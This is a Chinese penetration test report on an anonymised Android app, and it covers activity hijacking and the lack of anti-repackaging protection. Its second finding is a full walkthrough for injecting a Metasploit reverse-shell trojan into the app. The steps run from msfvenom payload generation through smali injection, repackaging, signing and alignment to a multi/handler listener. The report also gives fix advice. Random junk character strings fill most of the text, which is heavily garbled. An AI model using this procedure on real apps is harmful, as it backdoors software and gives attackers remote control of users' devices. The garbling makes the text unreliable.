4 r# L: K9 c% K( E4 C5 F: J$ K& @
' t, b B8 h( [+ |' D- W% k
5 l* p" C0 x8 v" B2 F, m
4 O$ [0 R+ E# ^2 d4 A
2 {4 J) Z/ R2 a( r 2 检测结果
, n. d k% B, r1 t9 p+ J" W4 l7 v
6 ~- ^& v2 ]1 D) Y
4 s' L2 k8 K3 V" O1 Z/ n& s 9 G% p* [1 S7 M1 B, E5 H9 N
* y3 J% G1 y# K0 }: F3 K3 i$ S+ Z' N 2.1 某某某 / E3 n/ n& h2 w9 e) z8 Q& k) Z
0 v3 S! s7 Q' n
" j7 I! t+ `$ } |" T7 V: I& @, t8 \; \
2 ]0 N: _. D: H, U+ U
# f; [ X; K( ?9 e6 Y: q) C B0 r: m2 o) d/ F% G4 b: h
2.1.1检测目标 - [" v& ]1 w8 o2 w0 `
7 _; n ^- |8 J, T
! V' M( Y% c. g m! ~. T; b8 C, q9 W4 h' F/ z5 i
4 Z* p0 q3 S/ J- N9 L$ f5 x+ K, r5 C5 t: u5 q. n- n% q# t) {
目标地址: 某某某某某某APP
: e& }+ D& { N3 f1 y. R5 v9 ?& v$ e8 i) w
' i0 t/ Y/ X% u5 H7 `( ] @
' W6 `, b d% I4 Q" B5 ? 6 R: h' g* ~3 v# w3 I
1 S; S2 o' c( m2 H# r
2.1.2检测结果
) ]6 L& M/ E3 p9 P6 ]5 }) W) t6 m; f5 }4 [) c" ]
/ [ C2 W6 G# T2 n
. C; l. @! I2 V o5 Y) h Z$ m
/ o1 \2 C( R; [" ^' `0 i: R/ o8 h: z4 P) Y% z3 D, [
2.1.2.1 5 f) [. j" F" ~( R1 {. v; N5 Q( d
4 U6 N e" @4 R; r2 K; j1 r! K
( M& T- Q3 k2 Y/ W( _0 U6 V6 V1 D# I- x# ^& e6 }2 H8 h. X& y# u8 ?
8 i/ C. M7 U: V% |3 W* ~0 a/ U h
& z6 a0 _; S; _3 g# t0 |! N 漏洞链接地址:某某某某某某APP 1 G) @5 z( C9 g& y- J* T5 o; Y: R
9 N! U) c- ]- y4 e2 V
1 X4 ], K4 q& D
- B1 F0 O* f; R 1 I/ c$ Y/ w4 n, q9 h
: j* X+ v0 V7 c/ ? ( \5 r( G( K7 `4 E+ F
: Q# M' \ E; N
' x1 y& c, i5 V; ^
# k8 R m( X2 i/ D* W+ O4 S7 }, p ; V+ w7 x: z; j8 c9 S: T# I
2 Z* c2 |. F/ ?: U+ q, K 漏洞分析及取证:
1 E2 a3 Y" B& b
) R" \9 x/ B4 T( y) c& g9 [) W
0 u& u8 M% s* j# e2 O" X7 o4 o0 q9 r' F4 {- f0 H8 i1 ~ X
# f4 n/ k) h( K
7 }# W' d$ d+ z, o: o* z) N5 _5 E% R 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: / }: |/ `9 H9 g+ s5 R" D0 O
& \ L; Q5 S( D8 E7 q$ c
4 C6 {4 e% j- k' o: ]) y8 B' }, ]0 g* T6 M- R0 y% l* k/ x
# O9 x, A- a. R0 T3 j3 m( @: i1 r
. o i4 M, S' N6 c; J/ V
' p3 G' X6 \ p
& x2 }$ [- x: }9 q1 O( d1 C% _
2 g, Z; M1 h8 m* n l
: d4 S6 q2 @& \5 t7 S4 J. N: z) Z2 O) E, |- h: S% |
; \0 S1 O# T" |' Q) H# g: C1 m: ]1 ~8 \; T& W
: H {! Q. o: ^# R' A
: W; V/ }& q7 m( e* c/ m: l V: T( N# Y4 \* M4 `. K( y4 z6 B' Y
% a' D. D P, X- F) |) T+ G; L. d
9 G7 }" W! d, x) }& o: x4 Y7 ]- U! Y, l8 u
4 w6 t( r3 b0 ~7 G# R1 P* S1 ?3 S
9 H6 I% N- P/ A9 Y# c: y
. C6 z2 b% D5 [9 s: F- C8 v O6 K* G Y. H8 H
6 A+ M% _! }) y! |" U
* M$ n3 Y5 A/ C4 o
0 \1 ?7 t3 |0 K
+ `6 r! c& y) @# T3 N7 u9 u. a
" [1 w! k$ H5 k; X) K; q, X/ b* s# Y) Z* c1 F
5 y3 G- M0 ]7 R: G4 L5 A8 L* S* l' C
- ]/ W6 w7 e* C7 V% @+ {4 M
0 K- }8 Z8 r4 n) ?8 K
4 b7 N# C1 O( D5 u" j
1 r, C1 p% o2 m5 N: }
0 X) r* c% U* }7 v: f 漏洞危害:高 , c% Z: u( s% [! v
: x; b' f, F( q W* n
" u \. x5 H3 s7 W9 r# [& `1 p2 Q( W: m5 ~$ b
! B. ^* ?* ]9 F) V! L
" W! ^. P$ N* [% G3 r( i) D/ A
7 K7 d0 X5 f! T3 T/ M( b6 a: O3 O- `& ?2 a3 ~
7 I5 E: h% ?( m$ a, m
/ k4 `% t# q& E' H D- C
6 O" h0 D- \7 b1 t- N
3 |# k) B& I+ h
|
: J1 C" O% F' h, S ]7 z4 H3 d5 S0 W5 D7 h/ C% h
7 P: ~! n# Y q* X& v. F
8 C \1 T: t" E1 v0 K/ ^6 B 严重程度 ' k/ | q+ W7 W3 S/ B
$ i6 _* H- s) O# x; A3 A
. j( x0 G: L9 F
: x4 b- @# m: i7 P/ o
|
9 K, j1 C, `+ ~+ R% M* ]5 b* i- X l% P2 T- t" M0 d" v I
8 H5 }6 y* ?) u7 h0 Z% {
8 g! b ?/ E" J4 M2 P* c/ F % g% c% ]- J8 q6 P" Q
1 K: u- g% w2 ] ^, d) ] 高 / ?, q# \* ^ r9 `' l: }/ n( p
# a( F4 n9 F4 U( l. o
/ w$ P, q( z8 ~+ d7 U$ B0 k$ H) N- ~+ B6 Q
|
`; G( C# d. L, C( h N$ P& g1 ]# V7 P3 j% z" Y4 f# W: ?
& n5 A3 ~6 E/ p: R3 B2 Z
9 }) {+ ]# `# _, q" }
1 D9 J3 j" M% l$ P! r
9 x: @/ a/ B2 A7 ?0 ^ ■
* @( ^& E: l$ U3 j' i# d0 z
3 @3 E3 [; n* S% |0 s. n3 I$ D ) L* ^& |! \ h, g- O! j c* |& o6 d
$ q2 m1 _+ {3 t2 H" ^1 _ |
" l& d2 B& B$ ^
- d3 z/ W& L( u1 j/ N' ]% T- t6 p
1 B, W1 H6 d6 U( @
* Z: q. s! {1 M: K v
4 _8 o8 F/ J* Y
; b( O4 O9 y" T6 t 中
9 ^- `$ Y" V# `; U" q% o3 s0 Y5 e' Z- `! D
) L9 P6 ?! x2 L- G8 |7 U$ }( e
2 A; V8 o& h+ X* l* ] |
) Z q- k3 x2 i0 A( E( z. b$ f' D5 h+ o
8 c0 ]5 g9 D. K* T
' w9 R. u; V, Z* A , S4 q5 D. C2 q# ~) z( h! j3 v
% Y) x* p* _8 R/ A& x
. j& E) Z7 ^) A& P2 Y' u1 {, k+ @, o
$ {: ~- j' o3 x5 q# R$ W2 g; M 5 T; B& m, a0 B) P0 y2 }+ y/ `9 w
) e7 X% _0 c. T u/ Q5 ]4 }# V |
; |! P* ]: r1 \6 u
$ V9 P2 O2 ^% v3 _
, A5 t' l+ ~- H: b9 M
- @( O5 s2 y4 v5 O5 N
+ @# A2 r( k: ]$ j$ l' m( J0 @; X2 ] A1 @5 k6 Z3 g, q
低
( V6 F, d g9 s; ^) d$ o; y& T6 v8 ]) s4 m2 y
# v6 Z C2 U) V" v( N1 n
2 L2 \' L# w5 p& g
| 4 u1 C1 g: ?( e7 O9 T# N4 T
4 C* y @/ ^% g" j4 `2 B . L( u3 O: U2 G' Z5 { y
8 h5 i0 o: ^' u2 f2 S2 D {) M3 M# S
b: b. t3 E! D3 _. X+ q
* D2 L& l7 h6 Z7 i. u0 h
: n2 v* L# W" P% G% k6 [5 U
/ r6 k- F1 O) g3 n: Q. w0 Y& h
& `) O9 a9 o" k& L
4 w; T: x# h$ j+ \ | 0 Q, H. ]) a/ s" o& Z
2 }& k5 g0 ]; R
* U) G3 `# j0 Q" {$ w
1 i- P7 k; A5 l O- L2 Z
6 t* d/ H6 W& I9 {9 ^
0 P8 F7 N+ X# F
$ Q, [: D0 @/ A2 u! L. e& I
1 ]. F1 y n/ _. `- d3 J. [
6 l7 H. U, b- \4 T5 w( [: Z, A1 Z& [2 N# X
7 F+ D! v0 y9 U% i7 ?( |
" {4 b$ {( G P9 t
0 A) U. R/ h- Z& _( e( P% Q7 X R6 |! `$ `( O' J
% D, z# i& p. G& N4 E& U; i' B5 e) [( U
, d: I" {7 [5 J; U6 {
# a* H2 J$ i! x+ Z6 a* E2 b7 |
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 3 b2 r! M. z y9 }1 `* W
( b4 G7 e, y( j$ Y" M) ?( B* O- L
3 A2 |9 I( T, P& T6 D/ G
6 p. C! P( O) f3 v9 ^, q$ G. c 0 t6 m2 |9 H" \) u+ m
& J6 ?, v' [' b1 F
% [3 }( u* ~8 v8 b0 T5 o
( P6 m+ R# ^" J# Q
7 p: y# k4 N5 p3 |! F
/ D) t$ Y# e. g
9 {- j2 k# V( `4 Z4 S
" N7 B. w* ?6 H. N2 h- {* E + \) Q% l! m2 Z7 v( P+ _3 _
' q# A* ^+ c: R* ~, q
& ?/ |# G- A( V8 T, P, L- t
) [0 O7 j8 O, s# `
' e! Q% s3 C$ C r/ t& l. m5 L3 Z: N( ?- t% A" Q. j" K/ F
2.1.2.2 + _5 P9 o& b }5 f6 F8 Y/ i4 ?* B
+ Y& x* R8 R0 k* V
6 o" k4 x; j& t! l7 u) ]' m5 }
: {# V/ g2 Y+ n$ R
8 L' G: m$ }( B+ T8 ~" k$ P o+ m8 M
1 _. a- P E) i0 X. m. t5 Z9 m 漏洞链接地址:某某某某某某APP * }" U( M J5 i A4 e
/ D. r7 l& W* K3 W6 f
( J/ @. m; ^: V$ U/ D
2 u8 k4 {5 e( N) }/ F, p- z
k6 J3 Q4 H. b0 S
! B. H, T$ y5 P8 J 漏洞分析及取证:
" y# }1 p$ w! o6 _/ @4 C/ i% r! o8 V; G
8 @: }% a1 l1 w8 ?7 _# |
- r# A& { j5 p7 V
- A# [ p6 x6 E1 l [4 m
3 |2 |: U1 ^! Y1 t 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
, A" z% I' e" {: n+ }4 p' a7 |
6 S9 }$ i# z( l+ R& x
" w% s, Z. ]3 w* |* S
6 x5 o- X1 ?0 d. B4 C* { @3 H; [3 @2 N+ R- F+ V7 c( p0 |3 ?
用Metasploit 生成木马 apk
) T/ F9 x7 a) N% F
; ]* K; j! H: k0 X/ A
# y" E' T4 i& h: N6 w; m" O
1 Z6 b+ m3 L+ U+ ] ' R1 T" Z/ V8 {, ~% r0 N1 @7 t
6 C/ K) ^8 t0 w
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk # T5 \4 x. f4 @ V. N, w
$ |# }4 N4 |' ~$ R/ x
$ k9 N }+ V, Z# K1 ^; Y9 D
$ ^7 l6 P- U h) G& x / v) B/ T2 x/ Y
2 @ a9 @! {2 O5 l! t
反编译目标apk和木马apk 4 T/ j" ~0 M' M$ ^# A, G
0 o' U* a* [7 a7 z! n) J7 L9 [6 J
8 E/ \8 o, @7 B
J# v0 [* i5 A1 q$ c# ? % E7 p5 @8 d. R* y3 w, j
$ _- l! G. c Z5 _
apktool d target.apk
% A7 m( B; E# G
' W; k# y0 a0 V apktool d cockhorse.apk
% m: i7 ~6 ]' q( F! w R+ a2 k1 ?0 U1 q
5 T* T" [- L4 F
6 v; V7 f { q3 E+ g/ x( O # c( V3 K5 K5 p; h
u- c6 s- D+ m 木马 apk 注入目标 apk
8 t4 |, i: b i( k/ R- q4 K7 t# j+ K- e# T) V
5 E" l( s" ~1 Z1 q$ b; T' a$ N9 A1 _) j4 }6 z% b; y# j
1 ~/ R8 l' y T1 j
0 P1 {5 j9 t/ T' F
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
! o0 T# U: @; [6 H- K) |5 T) c( O. w/ b
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ( H$ a! ~0 W) @2 b4 H$ A
( I8 P. V0 I* q6 L; O
0 G6 s. f, Z0 R
7 O6 p/ A# ]& ~9 C [) R4 G1 e. X# A
4 P& \; ~1 h0 |, z) p6 O w, t8 d 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
1 d2 a; V- }. L2 Z
4 h& s# U- ~0 T0 Y$ N4 j
* B' m. W( u6 q
$ ?. T# h7 f3 H0 n
; f1 B3 h2 Q" a- `$ V3 k" Z$ _9 u& `. Z2 r+ {* }. l3 D
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
7 e/ L6 d1 U! A3 J
8 p. s8 G$ u- r* ~' h
9 B* [" O$ N4 z6 {( r7 x; T
7 J2 z' s: o, E4 K
; |% I. v2 M) F& p9 `/ \2 O c6 V/ Z) G
回编译生成最终 apk
& C/ M# [/ ^4 W% ~9 a& \: ]+ ?. O0 b! [5 T4 W6 A
, Q, \$ H- a" c7 m9 I7 N4 Q! b6 {
: h8 ~9 u6 C2 ~
9 B$ L! P+ E0 ~" K$ B N) \; T
4 ~0 a8 \. s, [) Y3 J7 F; c 重新打包 3 p& V" } Y, m/ E' }" C) Q' L1 o
; W5 O( N6 a' _4 J( b+ }2 R
* }: E6 }* x- w9 f! L* H3 }- e" K9 ~& U
. o* B, c" n3 \' u, _. J6 g
9 {1 F" _' y* { f% `+ Q2 Z apktool b -o repackage.apk target_app_floder
4 @& t3 ]+ @5 W8 D. b9 |7 }: S0 R! Y+ ?& B8 k3 m2 e
_6 ~9 a5 }8 ]
. V7 _0 F2 y C, h2 Z s1 x/ b 6 y9 b" c; K6 U' m* I7 W
! b% k/ \2 \, X `4 B
创建签名文件,有的话可忽略此步骤
1 u! ~* b; T. g4 g/ E5 i
0 J3 A1 u5 g3 i, T5 c) Y5 o2 K
/ V) t! P2 w* N' ]1 u o0 @
n' J7 [" K1 T% [
+ A0 B% k+ F, ]1 m" q+ k* ~* s8 b; J! b" i, G) b( E& t5 _& ^& Z
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
# h! D0 U% ^5 ?9 n' C o9 i* X c$ x6 H
# O p4 F. G2 \0 a. D# {0 H
, A1 c3 ]# Y6 r+ X1 s
" k- Y, n1 t+ L u: ]0 W7 q/ ?8 `
7 N# l+ G4 T2 Y5 {$ T% i d
签名,以下任选其一
* b- b& ]4 i: D5 }# I% x j; ~" u% R' ?$ F, }) z w/ X" M7 R5 t! [. ^
# n* Y3 r5 b& F. t3 P8 y4 D$ n
: {1 t+ |. M; T2 X% I+ |- k* ? 1 \4 ^8 }2 P* t6 }
( n2 D* R+ J4 B0 M) D# v
jarsigner 方式
6 c. r- z W* `, h# f! I/ {5 @) f
( @ H6 Y3 C6 p2 n
! R, K+ X8 i* Q/ K% M0 |2 R
$ f+ A2 h, z& @/ Y# d; p8 V
) B" n7 y- E5 q$ W# ]. G0 e8 H, }: U& V) ]' g5 B2 t" c' Y
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
/ `9 Q5 C6 f& d3 i
; N6 c" g: x0 h" q+ o6 ~# @; h, g5 B) ^
% M6 a1 Q. Y5 |: b+ v4 w
p3 Z) T/ [/ `1 Q% d" V* V / L3 f; ?8 n% ^: a+ H
" |' W U b" ]1 @3 p
apksigner 方式 2 a2 i( B6 d& ~/ B7 h [3 E0 k
. X5 I8 v9 G: d/ j, |4 o! V8 U
9 A6 p9 p# |) E; X0 Q$ o
9 d! Z+ r1 {" ^
1 N' m# Q. X; x. M0 \% u, W% Q2 E
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 9 p* u- a8 }" ?- v! t$ W
2 I1 d/ L, v) o9 R5 i4 C
6 N: u' u/ \% J) g! r
8 o; S- `' L5 G4 Y6 N# ^3 k
2 y% m; J/ ?. r( _: X
; T; @2 c& I6 X! Q3 L 如需要禁用 v2签名 添加选项--v2-signing-enabled false ' v$ L2 f# ?% A
) a$ a2 K2 x) q
3 _- j, v7 R2 @
; k& _) o# k- |. E8 D
6 k( f; w2 h% ^
( y$ j2 m! m- N! P8 \& Q 验证,以下任选其一
) h8 m2 `8 L. D: U( G, z3 i9 G9 C" _3 N+ D) y' }4 R
+ o8 D, b5 o9 L) W! F
. v. f; L4 g8 S$ q; H : m7 B/ C/ R) [4 t+ w% `, A6 X E
/ T% G4 f- Y, \9 F7 y
jarsigner方式 5 V" T6 F2 N8 I" A
5 |3 B9 ^; \' `& u6 a; b
8 w1 p! J1 C$ U4 ?
$ _0 D( }4 \' b- F) Y6 k
0 l( A4 v* _, z3 D2 F. Y5 ~% D1 a3 i# _0 c
jarsigner -verify repackaged.apk
4 K+ ~* O" e+ f( i2 q
3 K0 v) _3 m ?
2 ^2 ^9 d& m( m/ z/ u. A
o% ~, q" |" A" g0 }* k2 N) l
3 g( y) @3 s9 O, H- X$ B
' X+ _: k6 T* {# c5 X1 G apksigner 方式 6 d; t: a$ N) z$ z/ E- K
0 l& d( T' p7 G9 h& c
; n7 B ]. A# N6 c
" D' E* \5 E% C8 }" r! R0 @( q3 z2 m
6 [& W. ^1 \( G+ T8 h
1 @/ L4 k; K. y# H
apksigner verify -v --print-certs repackaged.apk
0 k! j: v3 j$ `! k
4 F! H5 D; t) G
0 M0 U/ T& F, |, y3 N) ~
+ T) j, s& H9 d0 ]6 X2 y 6 X' \7 g& h* ^9 V1 H( I
7 [- V/ [3 a; b keytool方式
& _4 L$ m) w9 u6 ^8 j/ c `2 o% e/ m6 f/ A& J* ?6 a2 r
% N- b5 `/ n6 e
# Y2 ^+ I6 E ~3 u8 M
. r9 n U! f4 T
3 f3 E; R. Y+ B
keytool -printcert -jarfile repackaged.apk 4 U S8 j) Z( ]* x3 ^# M. E
1 k$ w( t# Z9 l# R- l' M7 s3 F5 q
& _$ J& r) T+ A# z5 ~3 B
- d+ H( J2 o8 b , ?0 G# a# [, H+ }. N
9 e; ?) `% T5 m8 m) [, Y 对齐 + @" J- \) w* f. c
7 S) R% ~* c" P" k9 v- M
! _. @' }+ O: k' F+ }+ O
/ V% p3 p: l+ j( N5 e R. J; i+ W + f! F. O+ T- W3 L! W7 ]
' p# l2 ?8 ~& s 字节对齐优化 . ?; @5 U' {/ D
( T+ y1 e% ~5 `( b
! g+ C+ a5 m) @7 X* \( r
! y7 y, W$ v( J9 D, Q, _( f& s5 \! O
C5 z$ i0 q7 P% |; M* F5 }; F: E Q4 S
zipalign -v 4 repackaged.apk final.apk H- O5 f) U0 `5 {9 k- Z
: w4 t, S1 X6 q( t
/ L3 g( r6 k, f0 t5 U( i% u+ s0 |7 t& u! i
/ ~4 L+ V, v7 p1 z! J. g& ` v
* Y! {1 {1 R$ v- b: k7 t( M 检查是否对齐 ! z8 e+ J% I# U
- r4 C% C6 }' S6 P W9 M* A! O
% K' E1 q( u# I$ g' }7 R q* P3 `8 K2 l: I2 v
+ L4 h/ ^/ `1 _* T: J i5 {
* y6 r' W! z, F/ u
zipalign -c -v 4 final.apk
. Q8 H6 Y7 ?3 i P' k- m
/ }- y, G( P: {% I: T5 M1 c6 V
" D4 Y" I# B) l7 V1 G8 ]4 G4 R4 Q5 ]0 r8 Q6 }+ T
4 q" |5 n- }! ~) v
& g* X9 a/ z1 Z5 M% \7 U! N2 y h 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
4 z/ e5 U2 `+ u; L$ O
% ?# D9 W& u9 ^: t5 _8 B& x ^
/ ^- T1 w9 b7 A0 Q4 h- u0 _& Z4 v
% l0 M: @. `1 N0 q & z u6 G0 A; }5 e5 x9 K6 I
m0 r# E# y' Q3 n& \2 o
启动Metasploit控制台,配置参数等待上线 6 i7 _$ _9 r2 g
# g) ~4 y% T m" b2 W$ d
) F: l! k& [3 ~
2 g2 M- \* U g! {
% _ R! d. r8 n% N- X' C
: p$ L+ p/ h6 W$ D6 {
在终端依次输入如下命令
2 ]9 B& g! B$ N, \% }2 Q# h
) p6 t/ _# s& [7 S; @
" }+ M' |; E5 W
6 ^4 A" b8 Q8 v2 A/ G
9 ]6 q) H& Z$ Q0 h0 F# e& A0 W0 f$ w7 ^4 m( B4 [' I
msfconsole
: W/ s! q9 ~3 y9 B$ g1 \
1 |1 e/ c( O% \- A9 c2 @9 F1 p
0 B! D4 r5 [- ^; X* b0 z% q$ r) y0 ]
& b8 s' j1 s2 N( }9 x' f' u
: b% [3 i! t+ L* i( E& C3 f: N use exploit/multi/handler
) D: C0 P) s1 G. a& k; R* a, n; Y S
1 t9 G! O0 G2 w" b; a
' _& g0 n) K: N$ f0 r. n . N1 i* y' x& l& w6 s3 i
( i {: E2 k( G: z
set PAYLOAD android/meterpreter/reverse_tcp 3 G6 M$ A; ]6 J r) z) {
, I; f) n Z @* q
/ ]- Q7 w' \; y1 f/ ?
# i' q1 k) N& p8 ~, q. n5 k $ A" U& @5 S/ M% f! b
& \3 f/ Z3 r6 n7 o' q7 P+ \+ K! P' T/ U set LHOST 192.xxx.xx.xx
0 A5 R' r' c' n% |1 ^+ G" W9 N. W# H# C% Z
5 R0 X' n3 D' K( P1 P7 ^
5 K, q, l' }; e* ~
3 M! ?) `4 r! F, s8 G
6 y* J# F3 ^, f* t/ V8 n2 ^4 n3 x
set LPORT 4444
4 B+ z" t$ k f- R5 d Y8 Y" i! Y( P9 P) W
6 C) {) w, A/ n5 N. X
- _& J# u+ N; F" C j6 a. m1 G& Q* m
( k- e8 G7 f2 S, V
$ b! G, z; R2 ~9 [
exploit
4 s+ [$ B2 n, B! k8 g
n% B5 z9 M6 R) m; x' r5 `
5 n% \6 M. A7 _2 t3 o$ p+ W
- _6 N* G- G4 B" ^( ^. @ 3 a$ o, T0 e# J& o* _7 d* E
' V- J. J; ]6 ~
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
3 c! v1 t( u4 S/ T
. z1 S4 F) u( }* r5 _
0 r) {- ? l) B# x6 s
5 U: V) F2 N) z0 m# X6 _% C- F f * c# v3 P5 ?) ~4 x0 Y9 H, e8 h; R
& z! a3 G- z% Z
漏洞危害:中
+ W2 s1 y* j# y! }7 I7 Q5 W N) O3 O+ Q! {
* x* J2 G6 ]) ]+ J' Y
3 j" F6 o9 f" O8 n' k
( }, V- ^8 f7 b2 g8 y, ?6 S _6 f6 h5 s9 E. Q9 P0 I
& h$ H4 ?* Y1 d. V9 d; ~ k3 B' x
3 n1 V$ V" K9 w* h, z; E' I9 d
f/ } [9 H& c
9 z; @) a; s, \' z- \$ w
2 T% V7 [, d' r" \& g0 P6 f) x+ t; I( a: ^2 @
7 R' v7 @! S' `' a `3 b# k: ]$ y6 e* `0 [2 T( a6 _- @1 j
| b% o1 A# J% S) n4 i" y" r
& q8 ]# G" w# H) z* l# A2 G1 w
( L. j9 f! [, ]9 ?
: z- u( u2 s' q9 Y1 q8 z 严重程度 * z" ?3 b* q* b
2 q5 ?: ~4 i: G0 f! D
' H3 P3 b% i2 \ T4 y0 {! y
! k; I: Y9 n! H2 \+ o8 D | % \1 Q* f$ t/ P4 {- i9 _5 t
8 Q& w7 V" v1 S! t! \
, A4 `8 k( l: E
; B' s* k9 R: a: y/ p/ l; h
( L+ I5 m5 M! u/ W
0 W1 d1 Z7 {' i: f5 Z8 C# C 高 8 k( M4 a% I- N' n7 G
, {4 m) N4 F/ ]/ A% j F
C1 r& h4 q. I* o+ d* x7 [
/ W( ^) B' T& l( _0 O8 h |
4 j7 P; V) s4 K8 q7 O& Y
4 M/ t( d) t9 R: {% `8 N
, j5 O ^5 Y6 F# y: ~: q$ v0 U' \4 E. p; ]# I
3 O" L+ D9 F m9 Q
- h1 j7 T1 C( [# H ■
8 Q3 e g1 S& \( m, p; L% n' |: ~
# Y/ g7 ~( m: P; U6 _, q
/ {* N) l/ O+ @( ~* H- [# F% _. p2 l7 o1 Q) V" Q) B" @7 n
| 1 A1 k P/ g. z F
5 K. a' E) l! ~ {7 k9 T 8 H" L, L" c2 Z* L d* n7 o" x
. f- w5 q9 j0 W. O) q. ~8 Z
- A. b5 s" u% w% x8 i9 _& ^# L0 ?+ @7 D* G8 r
中 & s* p; @, T0 W3 M
7 O7 U1 ^8 x u& z) W* L! b
; S9 f5 N1 D3 Y' e
0 y% R1 Q; b! D- S: y" P } | 3 B! P+ E; h" h1 x7 ~( f! D
, X) F U. N! C 1 N& e( V; e/ d3 l9 F; l
0 C4 V7 h6 D) |1 j' C5 [, q! Y 0 o/ i- Q! u: Y
- e* X3 K& b% C* Q5 Q d Z1 l" ? B1 \
) B! f0 y4 s _3 {1 l, ^
$ s) [; i; m7 O; ?1 b
2 c/ B; Z8 Z) g) g4 w& j $ x$ _4 }0 N1 R5 s* q% F' [
4 [5 Z V" J. z& v+ K | 3 P, ]. ]9 G2 e6 V
# P4 r: ?3 d' P9 I# X% f 7 U/ t ]' O7 e3 a
9 f4 F0 l9 A$ y' @ 3 d: v% s3 V5 I: J$ k
+ Q8 f% `- D$ u: c; i7 ^' \- O 低 ! G" U# S, }3 X
9 v/ K6 U8 L7 @4 b- R
5 {6 Y1 Z+ h2 v! c& r5 `
& I6 t2 c0 n- b+ x* n* O |
3 N5 W5 M. _! p4 y: o( W; c% j2 u9 m
( u# w- ?8 s& w2 \. x
9 n w& X$ @/ K) u0 G6 x 9 [/ d/ o' {8 ^- f
" n8 W+ {! n* j+ Z# q ) Z" N9 c4 f( y* Q6 D6 [
, c6 U( L* e J" N" ^
) A j0 q4 j4 o. u
) m( z2 `$ Y; n; ]7 J! C: w7 O
* V3 A2 V4 e$ Y* k
/ |0 q% E3 D$ v% m |
9 w0 s. }, \1 _8 I: C9 o2 B1 h! H3 \& A; o8 z* j3 h, L7 H/ g
8 }2 m9 z" K! m
+ p2 i& e0 v8 Y- R4 d 6 Q- p4 k% J: T% g% }! K
& z7 g n; E+ Z- ]2 M, r: v
* h# r* S) S0 M# [+ r! ^+ a
: L& ^* V/ |* Q' }0 H# Y! a ! }# x9 N$ v4 f2 F4 K% L
( q) v0 ^4 N" K O
5 Q3 q* _* f) e8 |2 F' N4 V" B
9 h6 {& J1 r9 T" i& a5 R5 j & T: j) _# g; P# [ W3 C v
+ G+ {! @' r- t9 {- C# n& H& m
- G; K, r- p6 n4 v8 j3 z% o) L5 M9 [0 w# B' ?5 J8 E+ M
2 R+ z8 g" u1 L. ~
% J6 N+ m! ]8 l7 J+ e7 I 修复方法:
! ?- R1 a" x" T/ _2 Z1 V2 b! d) t& ^5 `7 r4 h: R
. M" d( P2 D6 T+ Q; C
5 J3 p3 c( n& M8 K 8 u' m6 I/ l" x
/ q0 c% v! p1 g; R- y 1.在 APP 启动时应做签名校验防止二次打包。
' g. Y" _6 ?, H/ w2 m. D' A
$ Z: ]+ ^: h$ B8 {
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
9 _( n- x4 a5 C+ M1 `: i
4 @/ B8 Q3 g( m. g4 v: J/ {6 r
u2 G3 R' A: `+ s* F2 M! F9 Z% Y! C" J* y1 X$ Q& |; b
4 J# Q; A* A6 t) t5 W5 b5 e
" i* K) W7 h- w+ H a+ d9 q
9 n$ `* j H4 i8 |% h
9 e0 I/ G% o' Y; Q! a0 i( C2 v 3 } D% V7 P6 H+ u7 q
3 E2 I0 ^$ A" }' n" Y5 Q
; S# Z6 u/ C2 O: F4 Q
' ^3 x, D% q9 [
+ I8 r8 J1 @* C5 B* I, Q9 S
7 U$ j" \. p5 i& a 8 W+ b; u4 [8 W1 z; D! ^6 o! a
" J& B! }: o4 L A+ O5 I! c
7 o( a$ c0 k6 k* I+ m
7 F* ~" C- V& [
/ _/ Y- k. {- I- I
3 S" w9 o. \2 d9 D8 b& {